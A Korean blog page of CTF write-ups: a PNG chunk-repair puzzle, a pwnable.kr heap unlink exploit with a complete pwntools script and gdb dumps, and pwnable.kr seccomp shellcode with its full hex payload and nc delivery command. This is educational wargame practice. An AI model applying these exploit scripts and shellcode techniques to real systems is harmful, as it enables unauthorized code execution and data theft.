반응형
반응형

H3X0R 4rd CTF 2018 [easy_png] Write-up




아무런 이미지도 표시되지 않는 png파일이 주어진다.


이 파일을 HxD로 열어보았다.






마지막 부분을 보면, 49 45 4E 44 AE 42 60 82 IEND®B`‚ 으로 끝나야할 파일이 그 뒤에 데이터가 더 있음을 알 수 있다.

그 데이터를 보면 sRGB 로 시작하는데, 파일 헤더를 살펴보면 sRGB부분이 빠져있다.

그렇다면 이 마지막에 있는 sRGB부분이 헤더에서 빠진 sRGB부분일 것이다.






빠진 부분을 채워주었다.






그러고 나니 FLAG가 나왔다.

반응형

'CTF Write Up' 카테고리의 다른 글

H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
CODEGATE 2018 OPEN CTF Write-up  (0) 2018.04.06
제 1회 TEAMH4C CTF Write Up  (0) 2017.10.29
[EKOPARTY CTF 2017] Malbolge  (1) 2017.09.17
반응형

unlink - 10 pt

Daddy! how can I exploit unlink corruption?


ssh unlink@pwnable.kr -p2222 (pw: guest)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
 
cs



(gdb) b *main+195

Breakpoint 1 at 0x80485f2

(gdb) r

Starting program: /home/unlink/unlink 

here is stack address leak: 0xffd18214

here is heap address leak: 0x94c2410

now that you have leaks, get shell!

AAAA


Breakpoint 1, 0x080485f2 in main ()

(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2428 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2428 0x00000000 0x00000000


unlink()를 하기 전의 힙 구조입니다.


A의 fd -> B


B의 fd -> C , B의 bk -> A


C의 bk -> B


A <-> B <-> C 이러한 구조를 가지고 있다. gets()로 입력을 받기 때문에, B의 fd, bk 주소를 덮어 쓸 수 있다.



(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2440 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2410 0x00000000 0x00000000


unlink(B) 가 실행되면, A <-> C가 된다.



(gdb) disas unlink

Dump of assembler code for function unlink:

   0x08048504 <+0>: push   ebp

   0x08048505 <+1>: mov    ebp,esp

   0x08048507 <+3>: sub    esp,0x10

   0x0804850a <+6>: mov    eax,DWORD PTR [ebp+0x8]

   0x0804850d <+9>: mov    eax,DWORD PTR [eax+0x4]

   0x08048510 <+12>: mov    DWORD PTR [ebp-0x4],eax

   0x08048513 <+15>: mov    eax,DWORD PTR [ebp+0x8]

   0x08048516 <+18>: mov    eax,DWORD PTR [eax]

   0x08048518 <+20>: mov    DWORD PTR [ebp-0x8],eax

   0x0804851b <+23>: mov    eax,DWORD PTR [ebp-0x8]

   0x0804851e <+26>: mov    edx,DWORD PTR [ebp-0x4]

   0x08048521 <+29>: mov    DWORD PTR [eax+0x4],edx

   0x08048524 <+32>: mov    eax,DWORD PTR [ebp-0x4]

   0x08048527 <+35>: mov    edx,DWORD PTR [ebp-0x8]

   0x0804852a <+38>: mov    DWORD PTR [eax],edx

   0x0804852c <+40>: nop

   0x0804852d <+41>: leave  

   0x0804852e <+42>: ret    


mov [B의 fd + 0x4], B의 bk
mov [B의 bk], B의 fd

이를 이용해서 esp주소에 shell()을 넣고 싶었는데, 반대로도 shell()+0x4에 esp주소가 들어가서 이렇게는 못푼다.


main의 에필로그를 보면,

   0x080485f2 <+195>: call   0x8048504 <unlink>
   0x080485f7 <+200>: add    esp,0x10
   0x080485fa <+203>: mov    eax,0x0
   0x080485ff <+208>: mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>: leave  
   0x08048603 <+212>: lea    esp,[ecx-0x4]
   0x08048606 <+215>: ret


((ebp-0x4에 있는 값) - 0x4)을 ret한다.

shell()의 주소를 ret하도록 해야한다.


shell()의 주소를 heap A에 입력할 것이다.


그럼 esp가 heap address + 8이 되어야 하고

ecx는 heap address +12 이어야 하고

이 값이 [ebp-0x4]에 있어야 한다.


[ebp-0x4]에 heap address +12가 들어가도록 하면 된다.


(gdb) disas shell

Dump of assembler code for function shell:

   0x080484eb <+0>: push   ebp

   0x080484ec <+1>: mov    ebp,esp


here is stack address leak: 0xffba0d44
here is heap address leak: 0x9ab4410
now that you have leaks, get shell!
SSSSAAAAAAAAAAAAsssseeee

Program received signal SIGSEGV, Segmentation fault.
0x08048521 in unlink ()
(gdb) x/16wx 0x9ab4410
0x9ab4410: 0x09ab4428 0x00000000 0x53535353 0x41414141
0x9ab4420: 0x41414141 0x41414141 0x73737373 0x65656565
0x9ab4430: 0x00000000 0x00000000 0x00000000 0x00000019
0x9ab4440: 0x00000000 0x09ab4428 0x00000000 0x00000000

SSSS shell()주소
ssss heap+12
eeee ebp-4
가 들어가도록 익스를 짜주면 된다.

stack address에서 ebp의 거리를 구해보자

(gdb) b *main+208
Breakpoint 1 at 0x80485ff
(gdb) r
Starting program: /home/unlink/unlink 
here is stack address leak: 0xffcdfea4
here is heap address leak: 0x8dbd410
now that you have leaks, get shell!
aaaa

Breakpoint 1, 0x080485ff in main ()
(gdb) i r $ebp
ebp            0xffcdfeb8 0xffcdfeb8
(gdb) p 0xffcdfeb8 - 0xffcdfea4
$1 = 20

이제 익스하자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
= ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
= s.process("./unlink")
 
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recvline().strip(),16)
ebp = stack_addr+20
 
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recvline().strip(),16)
log.info("stack : "+hex(stack_addr))
log.info("heap  : "+hex(heap_addr))
p.recvline()
shell = 0x80484eb
 
payload = p32(shell)
payload += "A"*12
payload += p32(heap_addr+12)
payload += p32(ebp-4)
 
p.sendline(payload)
 
p.interactive()
cs



mandu@mandu-VirtualBox:~/ex_pwn$ python local_remote.py 

[+] Connecting to pwnable.kr on port 2222: Done

[*] unlink@pwnable.kr:

    Distro    Ubuntu 16.04

    OS:       linux

    Arch:     amd64

    Version:  4.10.0

    ASLR:     Enabled

[+] Starting remote process './unlink' on pwnable.kr: pid 11044

[*] stack : 0xffdf08b4

[*] heap  : 0x98a0410

[*] Switching to interactive mode

$ $ cat flag

conditional_write_what_where_from_unl1nk_explo1t


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [horcruxes] 풀이  (0) 2019.02.25
pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형

asm - 6 pt

Mommy! I think I know how to make shellcodes


ssh asm@pwnable.kr -p2222 (pw: guest)



asm@ubuntu:~$ ls -l

total 28

-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm

-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c

-rw-r--r-- 1 root root   211 Nov 19  2016 readme

-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

asm@ubuntu:~$ cat readme 

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

asm@ubuntu:~$ cat asm.c



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
 
cs



asm@ubuntu:~$ nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: 



실행을 해보면 x64 쉘코드를 달라고 한다. 시스템콜[open(), read(), write()]만을 사용한 쉘코드로 flag를 알아내는 문제다.


쉘코드는 python으로 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
 
context(arch='amd64', os='linux')
 
payload = ""
payload += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp'00)
payload += shellcraft.read('rax''rsp'100)
payload += shellcraft.write(1'rsp'100)
 
print asm(payload).encode('hex')
cs


mandu@mandu-VirtualBox:~/prog_py$ python pwnable_asm.py 

48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05



asm@ubuntu:~$ (python -c 'print "48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05".decode("hex")') | nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy

lease_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooasm@ubuntu:~$ 




FLAG : Mak1ng_shelLcodE_i5_veRy_eaSy


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22

+ Recent posts